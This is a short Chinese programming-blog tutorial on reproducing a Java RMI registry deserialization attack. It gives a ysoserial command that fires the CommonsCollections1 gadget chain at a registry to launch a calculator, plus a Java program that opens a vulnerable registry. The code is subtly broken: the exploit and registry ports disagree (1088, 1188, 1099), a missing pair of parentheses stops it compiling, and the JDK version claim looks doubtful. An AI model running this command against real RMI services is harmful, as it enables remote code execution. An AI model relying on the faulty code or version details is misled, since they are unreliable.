Java教程

RMI拓展

本文主要是介绍RMI拓展,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

版本要求:

从JDK8u21、7u13、6u141开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。Registry无法成功攻击RMI。

漏洞复现过程:

1.启动RMI注册机制

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections1 "calc"

2.运行程序触发计算器

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIDemo {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1188);
            System.out.println("127.0.0.1:1099");
            while (true) ;
        } catch (Exception e) {
            e.printStackTrace;

        }
    }
}

这篇关于RMI拓展的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!